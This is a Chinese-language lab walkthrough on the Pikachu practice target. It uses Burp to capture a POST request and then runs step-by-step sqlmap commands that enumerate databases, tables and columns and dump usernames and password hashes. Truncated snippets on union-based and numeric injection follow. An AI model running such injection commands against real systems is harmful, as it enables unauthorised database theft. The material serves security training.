pikachu 數字型注入 sqlmap

2022-08-02 13:51:11 字數 1988 閱讀 3653

任意提交資料,使用bp抓包得到post方式提交的引數為 id=1&submit=%e6%9f%a5%e8%af%a2

使用sqlmap跑post方式時的格式:python2 sqlmap.py -u "" --data="使用sqlmap跑資料庫 

python2 sqlmap.py -u "

" --data="

id=1&submit=%e6%9f%a5%e8%af%a2

" - f --dbms mysql --dbs --batch

#--dbms 預設情況下會探測web應用後端的資料庫是什麼;該步驟--dbms mysql 制定了資料庫型別為myslq資料庫

#--dbs 當使用者有權讀取時,列出所有的資料庫

#--batch 該引數使用後不需要使用者輸入,將會使用sqlmap給的預設提示走下去

可以得到三個資料庫的名稱:information_schema,pikachu,test

查詢資料庫pikachu下面的表 

python2 sqlmap.py -u "

" --data="

id=1&submit=%e6%9f%a5%e8%af%a2

" - f --dbms mysql -d pikachu --tables --batch

# -d pikachu 指定資料庫pikachu

#--tables 當有許可權讀取pikachu資料庫中的表tables的時候,讀取出表

可以得到pikachu資料庫下的表:httpinfo,member,message,users,xssblind

獲取表users中的列

python2 sqlmap.py -u "

" --data="

id=1&submit=%e6%9f%a5%e8%af%a2

" -f --dbms mysql -d pikachu -t users --columns --batch

#-t users 指定表名users

#--columns 當有許可權讀取表users中的列的時候讀取表users中的列

就可以得到users表中的列名:level,id,password,username

獲取列username和password中的字段內容

python2 sqlmap.py -u "

" --data="

id=1&submit=%e6%9f%a5%e8%af%a2

" -f --dbms mysql -d pikachu -t users -c username,password --dump --batch

#-c username,password 指定讀取列username和password中的字段內容

#--dump 丟擲前面指定內容

可以得到使用者名稱admin,及其對應的密碼的md5:e10adc3949ba59abbe56e057f20f883e,以及解碼後的明文:123456

數字型 sql注入

select from table where id 8 select from table where username admin select from table where username yiz and 1 1 yiz and 1 1 當作字元查詢了。select from table...

網路安全之pikachu數字型注入(post)實戰

1 開啟pikachu數字型注入 post 靶場,隨機選擇乙個數字進行查詢,並開啟burp進行抓包。2 使用union聯合查詢法判斷字段數,測試在id 1後面構造order by 1和order by 2時沒有報錯,當個到第三個時回顯報錯,所以可以判斷欄位數為2個字段。3 通過聯合查詢法構造unio...

sql數字型 字元型注入的區別

當輸入的參 x 為整型時,通常 abc.php 中 sql 語句型別大致如下 select from 表名 where id x 這種型別可以使用經典的 and 1 1 和 and 1 2 來判斷 url 位址中輸入 www.com abc.php?id x and 1 1 頁面依舊執行正常,繼續進...